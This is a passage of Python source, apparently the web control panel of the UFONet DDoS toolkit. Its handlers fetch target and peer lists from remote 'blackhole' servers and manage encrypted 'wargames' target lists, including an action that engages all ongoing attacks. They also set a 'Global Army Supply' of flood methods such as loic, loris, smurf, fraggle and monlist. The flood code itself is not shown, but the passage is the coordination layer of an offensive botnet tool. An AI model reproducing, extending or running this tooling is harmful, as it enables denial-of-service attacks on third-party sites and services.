  4418. if page == "/cmd_sync_links_update":
  4419. if not os.path.exists('/tmp/out'):
  4420. open('/tmp/out', 'w').close()
  4421. with open('/tmp/out', 'r') as f:
  4422. stream = f.read()
  4423. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4424. self.pages["/cmd_sync_links_update"] = "<pre>"+stream+"<pre>"
  4425. if page == "/cmd_sync_globalnet":
  4426. self.pages["/cmd_sync_globalnet"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4427. blackhole_ip = pGet["globalnet_source"]
  4428. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4429. try:
  4430. globalnet = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/globalnet.txt').read().decode('utf-8')
  4431. f = open(self.globalnet_file, "w") # write updates to globalnet.txt
  4432. f.write(globalnet)
  4433. f.close()
  4434. self.globalnet_text = globalnet
  4435. except:
  4436. globalnet = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4437. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4438. f = open("/tmp/out", "w")
  4439. f.write(str(globalnet))
  4440. f.write(end_mark)
  4441. f.close()
  4442. if page == "/cmd_sync_globalnet_update":
  4443. if not os.path.exists('/tmp/out'):
  4444. open('/tmp/out', 'w').close()
  4445. with open('/tmp/out', 'r') as f:
  4446. stream = f.read()
  4447. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4448. self.pages["/cmd_sync_globalnet_update"] = "<pre>"+stream+"<pre>"
  4449. if page == "/cmd_sync_streams":
  4450. self.pages["/cmd_sync_streams"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4451. blackhole_ip = pGet["stream_source"]
  4452. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4453. try:
  4454. streams = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/streams.txt').read().decode('utf-8')
  4455. f = open(self.streams_file, "w") # write updates to streams.txt
  4456. f.write(streams)
  4457. f.close()
  4458. self.streams_text = streams
  4459. except:
  4460. streams = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4461. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4462. f = open("/tmp/out", "w")
  4463. f.write(str(streams))
  4464. f.write(end_mark)
  4465. f.close()
  4466. if page == "/cmd_sync_streams_update":
  4467. if not os.path.exists('/tmp/out'):
  4468. open('/tmp/out', 'w').close()
  4469. with open('/tmp/out', 'r') as f:
  4470. stream = f.read()
  4471. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4472. self.pages["/cmd_sync_streams_update"] = "<pre>"+stream+"<pre>"
  4473. if page == "/cmd_refresh_missions":
  4474. self.pages["/cmd_refresh_missions"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4475. blackhole_ip = pGet["missions_source"]
  4476. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4477. try:
  4478. missions = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/missions.txt').read().decode('utf-8')
  4479. f = open(self.missions, "w") # write updates to missions.txt
  4480. f.write(missions)
  4481. f.close()
  4482. self.missions_text = missions
  4483. except:
  4484. missions = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4485. end_mark = "\n[Info] [AI] End of missions feed. -> [Refreshing!]"
  4486. f = open("/tmp/out", "w")
  4487. f.write(str(missions))
  4488. f.write(end_mark)
  4489. f.close()
  4490. if page == "/cmd_refresh_missions_update":
  4491. if not os.path.exists('/tmp/out'):
  4492. open('/tmp/out', 'w').close()
  4493. with open('/tmp/out', 'r') as f:
  4494. self.pages["/cmd_refresh_missions_update"] = "<pre>"+f.read()+"<pre>"
  4495. if page == "/cmd_refresh_ranking":
  4496. self.pages["/cmd_refresh_ranking"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4497. ranking_ip = pGet["ranking_source"]
  4498. ranking_ip = urllib.parse.unquote(ranking_ip)
  4499. try:
  4500. ranking = urllib.request.urlopen('http://'+ranking_ip+'/ufonet/grid.txt').read().decode('utf-8')
  4501. f = open(self.grid_file, "w") # write updates to grid.txt
  4502. f.write(ranking)
  4503. f.close()
  4504. self.ranking_text = ranking
  4505. except:
  4506. ranking = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4507. end_mark = "\n[Info] [AI] End of ranking feed. -> [Refreshing!]"
  4508. f = open("/tmp/out", "w")
  4509. f.write(str(ranking))
  4510. f.write(end_mark)
  4511. f.close()
  4512. if page == "/cmd_refresh_ranking_update":
  4513. if not os.path.exists('/tmp/out'):
  4514. open('/tmp/out', 'w').close()
  4515. with open('/tmp/out', 'r') as f:
  4516. self.pages["/cmd_refresh_ranking_update"] = "<pre>"+f.read()+"<pre>"
  4517. if page == "/cmd_sync_grid":
  4518. self.pages["/cmd_sync_grid"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4519. blackhole_ip = pGet["grid_source"]
  4520. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4521. try:
  4522. grid = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read().decode('utf-8')
  4523. f = open(self.grid_file, "w") # write updates to grid.txt
  4524. f.write(grid)
  4525. f.close()
  4526. self.grid_text = grid
  4527. except:
  4528. grid = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4529. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4530. f = open("/tmp/out", "w")
  4531. f.write(str(grid))
  4532. f.write(end_mark)
  4533. f.close()
  4534. if page == "/cmd_sync_grid_update":
  4535. if not os.path.exists('/tmp/out'):
  4536. open('/tmp/out', 'w').close()
  4537. with open('/tmp/out', 'r') as f:
  4538. stream = f.read()
  4539. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4540. self.pages["/cmd_sync_grid_update"] = "<pre>"+stream+"<pre>"
  4541. if page == "/cmd_job_remove":
  4542. self.pages["/cmd_job_remove"] = "<pre>Removing wargame from your list...</pre>"
  4543. try:
  4544. job_id = pGet["id"]
  4545. except:
  4546. job_id = ""
  4547. if job_id != "":
  4548. self.list_wargames.reverse()
  4549. try:
  4550. job_task = self.list_wargames[(int(job_id)-1)]
  4551. f = open(self.wargames_file,"r")
  4552. ls = f.readlines()
  4553. f.close()
  4554. f = open(self.wargames_file,"w")
  4555. for l in ls:
  4556. if str(l) != str(job_task):
  4557. f.write(l)
  4558. f.close()
  4559. except:
  4560. pass
  4561. if page == "/cmd_job_remove_update":
  4562. if not os.path.exists('/tmp/out'):
  4563. open('/tmp/out', 'w').close()
  4564. with open('/tmp/out', 'r') as f:
  4565. self.pages["/cmd_job_remove_update"] = "<pre>"+f.read()+"<pre>"
  4566. if page == "/cmd_job_remove_all":
  4567. self.pages["/cmd_job_remove_all"] = "<pre>Purging ALL -CLOSED- wargames from your list...</pre>"
  4568. try:
  4569. key_params = pGet["key"]
  4570. sep = ","
  4571. key = key_params.rsplit(sep, 1)[0]
  4572. except:
  4573. key = ""
  4574. if key != "":
  4575. try:
  4576. self.list_wargames.reverse()
  4577. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  4578. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  4579. f = open(self.wargames_file,"r")
  4580. ls = f.readlines()
  4581. f.close()
  4582. f = open(self.wargames_file,"w")
  4583. sep = wargames_msg_sep
  4584. for l in ls:
  4585. job_estimated = l.rsplit(sep, 1)[1]
  4586. self.decrypt(key, job_estimated)
  4587. if self.decryptedtext:
  4588. job_estimated = self.decryptedtext
  4589. else:
  4590. job_estimated = now
  4591. self.decryptedtext = ""
  4592. job_estimated = strptime(job_estimated, "%d-%m-%Y %H:%M:%S")
  4593. if (now >= job_estimated) == False: # -ONGOING-
  4594. f.write(l)
  4595. f.close()
  4596. except:
  4597. pass
  4598. if page == "/cmd_job_remove_all_update":
  4599. if not os.path.exists('/tmp/out'):
  4600. open('/tmp/out', 'w').close()
  4601. with open('/tmp/out', 'r') as f:
  4602. self.pages["/cmd_job_remove_all_update"] = "<pre>"+f.read()+"<pre>"
  4603. if page == "/cmd_edit_supply":
  4604. self.pages["/cmd_edit_supply"] = "<pre>Changing 'Global Army Supply' configuration...</pre>"
  4605. try:
  4606. supply_botnet = pGet["botnet"]
  4607. supply_loic = pGet["loic"]
  4608. supply_loris = pGet["loris"]
  4609. supply_ufosyn = pGet["ufosyn"]
  4610. supply_spray = pGet["spray"]
  4611. supply_smurf = pGet["smurf"]
  4612. supply_xmas = pGet["xmas"]
  4613. supply_nuke = pGet["nuke"]
  4614. supply_tachyon = pGet["tachyon"]
  4615. supply_monlist = pGet["monlist"]
  4616. supply_fraggle = pGet["fraggle"]
  4617. supply_sniper = pGet["sniper"]
  4618. supply_ufoack = pGet["ufoack"]
  4619. supply_uforst = pGet["uforst"]
  4620. supply_droper = pGet["droper"]
  4621. supply_overlap = pGet["overlap"]
  4622. supply_pinger = pGet["pinger"]
  4623. supply_ufoudp = pGet["ufoudp"]
  4624. except: # default global supply army
  4625. supply_botnet = 1
  4626. supply_loic = 0
  4627. supply_loris = 0
  4628. supply_ufosyn = 0
  4629. supply_spray = 0
  4630. supply_smurf = 0
  4631. supply_xmas = 0
  4632. supply_nuke = 0
  4633. supply_tachyon = 0
  4634. supply_monlist = 0
  4635. supply_fraggle = 0
  4636. supply_sniper = 0
  4637. supply_ufoack = 0
  4638. supply_uforst = 0
  4639. supply_droper = 0
  4640. supply_overlap = 0
  4641. supply_pinger = 0
  4642. supply_ufoudp = 0
  4643. with open(self.mothership_supplycfg_file, "w") as f:
  4644. json.dump({"botnet": supply_botnet, "loic": supply_loic, "loris": supply_loris, "ufosyn": supply_ufosyn, "spray": supply_spray, "smurf": supply_smurf, "xmas": supply_xmas, "nuke": supply_nuke, "tachyon": supply_tachyon, "monlist": supply_monlist, "fraggle": supply_fraggle, "sniper": supply_sniper, "ufoack": supply_ufoack, "uforst": supply_uforst, "droper": supply_droper, "overlap": supply_overlap, "pinger": supply_pinger, "ufoudp": supply_ufoudp}, f, indent=4)
  4645. if page == "/cmd_job_add":
  4646. self.pages["/cmd_job_add"] = "<pre>Adding wargame to your list...</pre>"
  4647. try:
  4648. job_params = pGet["id"]
  4649. sep = ","
  4650. job_id = job_params.rsplit(sep, 1)[0]
  4651. except:
  4652. job_id = ""
  4653. if job_id != "":
  4654. self.list_wargames.reverse()
  4655. try:
  4656. job_task = self.list_wargames[(int(job_id)-1)]
  4657. f = open(self.wargames_file,"r")
  4658. ls = f.readlines()
  4659. f.close()
  4660. f = open(self.wargames_file,"w")
  4661. sep = wargames_msg_sep
  4662. for l in ls:
  4663. if str(l) != str(job_task):
  4664. f.write(l)
  4665. else:
  4666. job_t2 = job_task.rsplit(sep, 1)[0]
  4667. job_creation = job_t2.rsplit(sep, 1)[0]
  4668. job_target = job_t2.rsplit(sep, 1)[1]
  4669. job_estimated = job_task.rsplit(sep, 1)[1]
  4670. l = str(job_creation) + wargames_msg_sep + str(job_target) + "!!!#-#" + str(job_estimated) # '!!!' target marked as job
  4671. f.write(l)
  4672. f.close()
  4673. except:
  4674. pass
  4675. if page == "/cmd_job_add_update":
  4676. if not os.path.exists('/tmp/out'):
  4677. open('/tmp/out', 'w').close()
  4678. with open('/tmp/out', 'r') as f:
  4679. self.pages["/cmd_job_add_update"] = "<pre>"+f.read()+"<pre>"
  4680. if page == "/cmd_job_add_all":
  4681. self.pages["/cmd_job_add_all"] = "<pre>Engaging ALL -ONGOING- wargames... ;-)</pre>"
  4682. try:
  4683. self.list_wargames.reverse()
  4684. f = open(self.wargames_file,"r")
  4685. ls = f.readlines()
  4686. f.close()
  4687. f = open(self.wargames_file,"w")
  4688. sep = wargames_msg_sep
  4689. for l in ls:
  4690. job_t2 = l.rsplit(sep, 1)[0]
  4691. job_creation = job_t2.rsplit(sep, 1)[0]
  4692. job_target = job_t2.rsplit(sep, 1)[1]
  4693. job_estimated = l.rsplit(sep, 1)[1]
  4694. if not "!!!" in job_target:
  4695. l = str(job_creation) + wargames_msg_sep + str(job_target) + "!!!#-#" + str(job_estimated)
  4696. else:
  4697. l = str(job_creation) + wargames_msg_sep + str(job_target) + wargames_msg_sep + str(job_estimated)
  4698. f.write(l)
  4699. f.close()
  4700. except:
  4701. pass
  4702. if page == "/cmd_job_add_all_update":
  4703. if not os.path.exists('/tmp/out'):
  4704. open('/tmp/out', 'w').close()
  4705. with open('/tmp/out', 'r') as f:
  4706. self.pages["/cmd_job_add_all_update"] = "<pre>"+f.read()+"<pre>"
  4707. if page == "/cmd_job_cancel":
  4708. self.pages["/cmd_job_cancel"] = "<pre>Canceling wargame from your list...</pre>"
  4709. try:
  4710. job_params = pGet["id"]
  4711. sep = ","
  4712. job_id = job_params.rsplit(sep, 1)[0]
  4713. except:
  4714. job_id = ""
  4715. if job_id != "":
  4716. self.list_wargames.reverse()
  4717. try:
  4718. job_task = self.list_wargames[(int(job_id)-1)]
  4719. f = open(self.wargames_file,"r")
  4720. ls = f.readlines()
  4721. f.close()
  4722. f = open(self.wargames_file,"w")
  4723. for l in ls:
  4724. if str(l) != str(job_task):
  4725. f.write(l)
  4726. else:
  4727. sep = wargames_msg_sep
  4728. job_t2 = job_task.rsplit(sep, 1)[0]
  4729. job_creation = job_t2.rsplit(sep, 1)[0]
  4730. job_target = job_t2.rsplit(sep, 1)[1]
  4731. job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
  4732. job_estimated = job_task.rsplit(sep, 1)[1]
  4733. l = str(job_creation) + wargames_msg_sep + str(job_target) + wargames_msg_sep + str(job_estimated)
  4734. f.write(l)
  4735. f.close()
  4736. except:
  4737. pass
  4738. if page == "/cmd_job_cancel_update":
  4739. if not os.path.exists('/tmp/out'):
  4740. open('/tmp/out', 'w').close()
  4741. with open('/tmp/out', 'r') as f:
  4742. self.pages["/cmd_job_cancel_update"] = "<pre>"+f.read()+"<pre>"
  4743. if page == "/cmd_job_cancel_all":
  4744. self.pages["/cmd_job_cancel_all"] = "<pre>Canceling ALL -JOINED- wargames from your list...</pre>"
  4745. try:
  4746. self.list_wargames.reverse()
  4747. f = open(self.wargames_file,"r")
  4748. ls = f.readlines()
  4749. f.close()
  4750. f = open(self.wargames_file,"w")
  4751. sep = wargames_msg_sep
  4752. for l in ls:
  4753. job_t2 = l.rsplit(sep, 1)[0]
  4754. job_creation = job_t2.rsplit(sep, 1)[0]
  4755. job_target = job_t2.rsplit(sep, 1)[1]
  4756. job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
  4757. job_estimated = l.rsplit(sep, 1)[1]
  4758. l = str(job_creation) + wargames_msg_sep + str(job_target) + wargames_msg_sep + str(job_estimated)
  4759. f.write(l)
  4760. f.close()
  4761. except:
  4762. pass
  4763. if page == "/cmd_job_cancel_all_update":
  4764. if not os.path.exists('/tmp/out'):
  4765. open('/tmp/out', 'w').close()
  4766. with open('/tmp/out', 'r') as f:
  4767. self.pages["/cmd_job_cancel_all_update"] = "<pre>"+f.read()+"<pre>"
  4768. if page == "/cmd_job_filter":
  4769. try:
  4770. job_filter = pGet["filter"]
  4771. job_key = pGet["key"]
  4772. except:
  4773. job_filter = "creation"
  4774. job_key = str(self.crypto_key)
  4775. self.pages["/cmd_job_filter"] = "<pre>Ordering wargames by: "+job_filter+"</pre>"
  4776. nodec_text = "KEY?"
  4777. try:
  4778. wargames_items=[]
  4779. with open(self.wargames_file) as f:
  4780. ls = f.read().splitlines()
  4781. f.close()
  4782. f = open(self.wargames_file,"w")
  4783. for j in ls:
  4784. if wargames_msg_sep in j:
  4785. m = j.split(wargames_msg_sep)
  4786. wargames_creation = m[0] # creation date
  4787. self.decrypt(job_key, wargames_creation)
  4788. if self.decryptedtext:
  4789. wargames_creation = self.decryptedtext
  4790. else:
  4791. wargames_creation = nodec_text
  4792. self.decryptedtext = "" # clean decryptedtext buffer
  4793. wargames_target = m[1] # target
  4794. self.decrypt(job_key, wargames_target)
  4795. if self.decryptedtext:
  4796. wargames_target = self.decryptedtext
  4797. if wargames_target.startswith("www."):
  4798. wargames_target = wargames_target.replace("www.","")
  4799. else:
  4800. wargames_target = nodec_text
  4801. self.decryptedtext = "" # clean decryptedtext buffer
  4802. wargames_estimated = m[2] # estimated date
  4803. self.decrypt(job_key, wargames_estimated)
  4804. if self.decryptedtext:
  4805. wargames_estimated = self.decryptedtext
  4806. else:
  4807. wargames_estimated = nodec_text
  4808. self.decryptedtext = "" # clean decryptedtext buffer
  4809. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  4810. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  4811. wargames_items.append([wargames_creation,wargames_target,wargames_estimated])
  4812. if job_filter == "creation":
  4813. wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
  4814. elif job_filter == "target":
  4815. wargames_items=sorted(wargames_items,key=lambda x:x[1]) # sorted by target
  4816. elif job_filter == "estimated":
  4817. wargames_items=sorted(wargames_items,key=lambda x:x[2]) # sorted by estimated
  4818. else:
  4819. wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
  4820. for i in wargames_items:
  4821. wargames_creation = i[0]
  4822. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  4823. self.encrypt(job_key, wargames_creation)
  4824. if self.encryptedtext:
  4825. wargames_creation = self.encryptedtext
  4826. self.encryptedtext = "" # clean encryptedtext buffer
  4827. wargames_target = str(i[1])
  4828. self.encrypt(job_key, wargames_target)
  4829. if self.encryptedtext:
  4830. wargames_target = self.encryptedtext
  4831. self.encryptedtext = "" # clean encryptedtext buffer
  4832. wargames_estimated = i[2]
  4833. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  4834. self.encrypt(job_key, wargames_estimated)
  4835. if self.encryptedtext:
  4836. wargames_estimated = self.encryptedtext
  4837. self.encryptedtext = "" # clean encryptedtext buffer
  4838. l = str(wargames_creation) + wargames_msg_sep + str(wargames_target) + wargames_msg_sep + str(wargames_estimated)
  4839. f.write(l + os.linesep)
  4840. f.close()
  4841. except:
  4842. pass
  4843. if page == "/cmd_job_filter_update":
  4844. if not os.path.exists('/tmp/out'):
  4845. open('/tmp/out', 'w').close()
  4846. with open('/tmp/out', 'r') as f:
  4847. self.pages["/cmd_job_filter_update"] = "<pre>"+f.read()+"<pre>"
  4848. if page == "/cmd_link_filter":
  4849. try:
  4850. link_filter = pGet["filter"]
  4851. link_key = pGet["key"]
  4852. except:
  4853. link_filter = "creation"
  4854. link_key = str(self.crypto_key)
  4855. self.pages["/cmd_link_filter"] = "<pre>Ordering links by: "+link_filter+"</pre>"
  4856. nodec_text = "KEY?"
  4857. try:
  4858. links_items=[]
  4859. with open(self.links_file) as f:
  4860. ls = f.read().splitlines()
  4861. f.close()
  4862. f = open(self.links_file,"w")
  4863. for j in ls:
  4864. if links_msg_sep in j:
  4865. m = j.split(links_msg_sep)
  4866. link_creation = m[0] # creation date
  4867. self.decrypt(link_key, link_creation)
  4868. if self.decryptedtext:
  4869. link_creation = self.decryptedtext
  4870. else:
  4871. link_creation = nodec_text
  4872. self.decryptedtext = "" # clean decryptedtext buffer
  4873. link_url = m[1] # url
  4874. self.decrypt(link_key, link_url)
  4875. if self.decryptedtext:
  4876. link_url = self.decryptedtext
  4877. if link_url.startswith("www."):
  4878. link_url = link_url.replace("www.","")
  4879. else:
  4880. link_url = nodec_text
  4881. self.decryptedtext = "" # clean decryptedtext buffer
  4882. link_topic = m[2] # topic
  4883. self.decrypt(link_key, link_topic)
  4884. if self.decryptedtext:
  4885. link_topic = self.decryptedtext
  4886. else:
  4887. link_topic = nodec_text
  4888. self.decryptedtext = "" # clean decryptedtext buffer
  4889. link_creation = strptime(link_creation, "%d-%m-%Y %H:%M:%S")
  4890. links_items.append([link_creation,link_url,link_topic])
  4891. if link_filter == "creation":
  4892. links_items=sorted(links_items,key=lambda x:x[0]) # sorted by creation
  4893. elif link_filter == "url":
  4894. links_items=sorted(links_items,key=lambda x:x[1]) # sorted by url
  4895. elif link_filter == "topic":
  4896. links_items=sorted(links_items,key=lambda x:x[2]) # sorted by topic
  4897. else:
  4898. links_items=sorted(links_items,key=lambda x:x[0]) # sorted by creation
  4899. for i in links_items:
  4900. link_creation = i[0]
  4901. link_creation = strftime("%d-%m-%Y %H:%M:%S", link_creation)
  4902. self.encrypt(link_key, link_creation)
  4903. if self.encryptedtext:
  4904. link_creation = self.encryptedtext
  4905. else:
  4906. link_creation = nodec_text
  4907. self.encryptedtext = "" # clean encryptedtext buffer
  4908. link_url = str(i[1])
  4909. self.encrypt(link_key, link_url)
  4910. if self.encryptedtext:
  4911. link_url = self.encryptedtext
  4912. else:
  4913. link_url = nodec_text
  4914. self.encryptedtext = "" # clean encryptedtext buffer
  4915. link_topic = str(i[2])
  4916. self.encrypt(link_key, link_topic)
  4917. if self.encryptedtext:
  4918. link_topic = self.encryptedtext
  4919. else:
  4920. link_topic = nodec_text
  4921. self.encryptedtext = "" # clean encryptedtext buffer
  4922. l = str(link_creation) + links_msg_sep + str(link_url) + links_msg_sep + str(link_topic)
  4923. f.write(l + os.linesep)
  4924. f.close()
  4925. except:
  4926. pass
  4927. if page == "/cmd_link_filter_update":
  4928. if not os.path.exists('/tmp/out'):
  4929. open('/tmp/out', 'w').close()
  4930. with open('/tmp/out', 'r') as f:
  4931. self.pages["/cmd_link_filter_update"] = "<pre>"+f.read()+"<pre>"
  4932. if page == "/cmd_stream_filter":
  4933. try:
  4934. stream_filter = pGet["filter"]
  4935. stream_key = pGet["key"]
  4936. except:
  4937. stream_filter = "creation"
  4938. stream_key = str(self.crypto_key)
  4939. self.pages["/cmd_stream_filter"] = "<pre>Ordering streams by: "+stream_filter+"</pre>"
  4940. nodec_text = "KEY?"
  4941. try:
  4942. streams_items=[]
  4943. with open(self.streams_file) as f:
  4944. ls = f.read().splitlines()
  4945. f.close()
  4946. f = open(self.streams_file,"w")
  4947. for j in ls:
  4948. if streams_msg_sep in j:
  4949. m = j.split(streams_msg_sep)
  4950. stream_creation = m[0] # creation date
  4951. self.decrypt(stream_key, stream_creation)
  4952. if self.decryptedtext:
  4953. stream_creation = self.decryptedtext
  4954. else:
  4955. stream_creation = nodec_text
  4956. self.decryptedtext = "" # clean decryptedtext buffer
  4957. stream_url = m[1] # url
  4958. self.decrypt(stream_key, stream_url)
  4959. if self.decryptedtext:
  4960. stream_url = self.decryptedtext
  4961. if stream_url.startswith("www."):
  4962. stream_url = stream_url.replace("www.","")
  4963. else:
  4964. stream_url = nodec_text
  4965. self.decryptedtext = "" # clean decryptedtext buffer
  4966. stream_topic = m[2] # topic
  4967. self.decrypt(stream_key, stream_topic)
  4968. if self.decryptedtext:
  4969. stream_topic = self.decryptedtext
  4970. else:
  4971. stream_topic = nodec_text
  4972. self.decryptedtext = "" # clean decryptedtext buffer
  4973. stream_creation = strptime(stream_creation, "%d-%m-%Y %H:%M:%S")
  4974. streams_items.append([stream_creation,stream_url,stream_topic])
  4975. if stream_filter == "creation":
  4976. streams_items=sorted(streams_items,key=lambda x:x[0]) # sorted by creation
  4977. elif stream_filter == "url":
  4978. streams_items=sorted(streams_items,key=lambda x:x[1]) # sorted by url
  4979. elif stream_filter == "topic":
  4980. streams_items=sorted(streams_items,key=lambda x:x[2]) # sorted by topic
  4981. else:
  4982. streams_items=sorted(streams_items,key=lambda x:x[0]) # sorted by creation
  4983. for i in streams_items:
  4984. stream_creation = i[0]
  4985. stream_creation = strftime("%d-%m-%Y %H:%M:%S", stream_creation)
  4986. self.encrypt(stream_key, stream_creation)
  4987. if self.encryptedtext:
  4988. stream_creation = self.encryptedtext
  4989. else:
  4990. stream_creation = nodec_text
  4991. self.encryptedtext = "" # clean encryptedtext buffer
  4992. stream_url = str(i[1])
  4993. self.encrypt(stream_key, stream_url)
  4994. if self.encryptedtext:
  4995. stream_url = self.encryptedtext
  4996. else:
  4997. stream_url = nodec_text
  4998. self.encryptedtext = "" # clean encryptedtext buffer
  4999. stream_topic = str(i[2])
  5000. self.encrypt(stream_key, stream_topic)
  5001. if self.encryptedtext:
  5002. stream_topic = self.encryptedtext
  5003. else:
  5004. stream_topic = nodec_text
  5005. self.encryptedtext = "" # clean encryptedtext buffer
  5006. l = str(stream_creation) + streams_msg_sep + str(stream_url) + streams_msg_sep + str(stream_topic)
  5007. f.write(l + os.linesep)
  5008. f.close()
  5009. except:
  5010. pass
  5011. if page == "/cmd_stream_filter_update":
  5012. if not os.path.exists('/tmp/out'):
  5013. open('/tmp/out', 'w').close()
  5014. with open('/tmp/out', 'r') as f:
  5015. self.pages["/cmd_stream_filter_update"] = "<pre>"+f.read()+"<pre>"
  5016. if page == "/cmd_globalnet_filter":
  5017. try:
  5018. globalnet_filter = pGet["filter"]
  5019. globalnet_key = pGet["key"]
  5020. except:
  5021. globalnet_filter = "owner"
  5022. globalnet_key = str(self.crypto_key)
  5023. self.pages["/cmd_globalnet_filter"] = "<pre>Ordering Global.Net by: "+globalnet_filter+"</pre>"
  5024. nodec_text = "KEY?"
  5025. try:
  5026. globalnet_items=[]
  5027. with open(self.globalnet_file) as f:
  5028. ls = f.read().splitlines()
  5029. f.close()
  5030. f = open(self.globalnet_file,"w")
  5031. for j in ls:
  5032. if globalnet_msg_sep in j:
  5033. m = j.split(globalnet_msg_sep)
  5034. globalnet_owner = m[0] # owner
  5035. self.decrypt(globalnet_key, globalnet_owner)
  5036. if self.decryptedtext:
  5037. globalnet_owner = self.decryptedtext
  5038. else:
  5039. globalnet_owner = nodec_text
  5040. self.decryptedtext = "" # clean decryptedtext buffer
  5041. globalnet_comment = m[1] # comment
  5042. self.decrypt(globalnet_key, globalnet_comment)
  5043. if self.decryptedtext:
  5044. globalnet_comment = self.decryptedtext
  5045. else:
  5046. globalnet_comment = nodec_text
  5047. self.decryptedtext = "" # clean decryptedtext buffer
  5048. globalnet_warp = m[2] # warp
  5049. self.decrypt(globalnet_key, globalnet_warp)
  5050. if self.decryptedtext:
  5051. globalnet_warp = self.decryptedtext
  5052. else:
  5053. globalnet_warp = nodec_text
  5054. self.decryptedtext = "" # clean decryptedtext buffer
  5055. globalnet_ip = m[3] # ip
  5056. self.decrypt(globalnet_key, globalnet_ip)
  5057. if self.decryptedtext:
  5058. globalnet_ip = self.decryptedtext
  5059. else:
  5060. globalnet_ip = nodec_text
  5061. self.decryptedtext = "" # clean decryptedtext buffer
  5062. globalnet_items.append([globalnet_owner,globalnet_comment,globalnet_warp,globalnet_ip])
  5063. if globalnet_filter == "owner":
  5064. globalnet_items=sorted(globalnet_items,key=lambda x:x[0]) # sorted by owner
  5065. elif globalnet_filter == "comment":
  5066. globalnet_items=sorted(globalnet_items,key=lambda x:x[1]) # sorted by comment
  5067. elif globalnet_filter == "warp":
  5068. globalnet_items=sorted(globalnet_items,key=lambda x:x[2]) # sorted by warp
  5069. elif globalnet_filter == "ip":
  5070. globalnet_items=sorted(globalnet_items,key=lambda x:x[3]) # sorted by ip
  5071. else:
  5072. globalnet_items=sorted(globalnet_items,key=lambda x:x[0]) # sorted by owner
  5073. for i in globalnet_items:
  5074. globalnet_owner = str(i[0])
  5075. self.encrypt(globalnet_key, globalnet_owner)
  5076. if self.encryptedtext:
  5077. globalnet_owner = self.encryptedtext
  5078. else:
  5079. globalnet_owner = nodec_text
  5080. self.encryptedtext = "" # clean encryptedtext buffer
  5081. globalnet_comment = str(i[1])
  5082. self.encrypt(globalnet_key, globalnet_comment)
  5083. if self.encryptedtext:
  5084. globalnet_comment = self.encryptedtext
  5085. else:
  5086. globalnet_comment = nodec_text
  5087. self.encryptedtext = "" # clean encryptedtext buffer
  5088. globalnet_warp = str(i[2])
  5089. self.encrypt(globalnet_key, globalnet_warp)
  5090. if self.encryptedtext:
  5091. globalnet_warp = self.encryptedtext
  5092. else:
  5093. globalnet_warp = nodec_text
  5094. self.encryptedtext = "" # clean encryptedtext buffer
  5095. globalnet_ip = str(i[3])
  5096. self.encrypt(globalnet_key, globalnet_ip)
  5097. if self.encryptedtext:
  5098. globalnet_ip = self.encryptedtext
  5099. else:
  5100. globalnet_ip = nodec_text
  5101. self.encryptedtext = "" # clean encryptedtext buffer
  5102. l = str(globalnet_owner) + globalnet_msg_sep + str(globalnet_comment) + globalnet_msg_sep + str(globalnet_warp) + globalnet_msg_sep + str(globalnet_ip)
  5103. f.write(l + os.linesep)
  5104. f.close()
  5105. except:
  5106. pass
  5107. if page == "/cmd_globalnet_filter_update":
  5108. if not os.path.exists('/tmp/out'):
  5109. open('/tmp/out', 'w').close()
  5110. with open('/tmp/out', 'r') as f:
  5111. self.pages["/cmd_globalnet_filter_update"] = "<pre>"+f.read()+"<pre>"
  5112. if page == "/cmd_grid_filter":
  5113. try:
  5114. grid_filter = pGet["filter"]
  5115. grid_key = pGet["key"]
  5116. except:
  5117. grid_filter = "missions" # default grid order by
  5118. grid_key = str(self.crypto_key)
  5119. self.pages["/cmd_grid_filter"] = "<pre>Ordering grid by: "+grid_filter+"</pre>"
  5120. nodec_text = "KEY?"
  5121. nodec_num = 0
  5122. try:
  5123. grid_items=[]
  5124. with open(self.grid_file) as f:
  5125. ls = f.read().splitlines()
  5126. f.close()
  5127. f = open(self.grid_file,"w")
  5128. for j in ls:
  5129. if grid_msg_sep in j:
  5130. version = j.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2)
  5131. m = j.split(grid_msg_sep)
  5132. grid_nickname = m[0] # nickname
  5133. self.decrypt(grid_key, grid_nickname)
  5134. if self.decryptedtext:
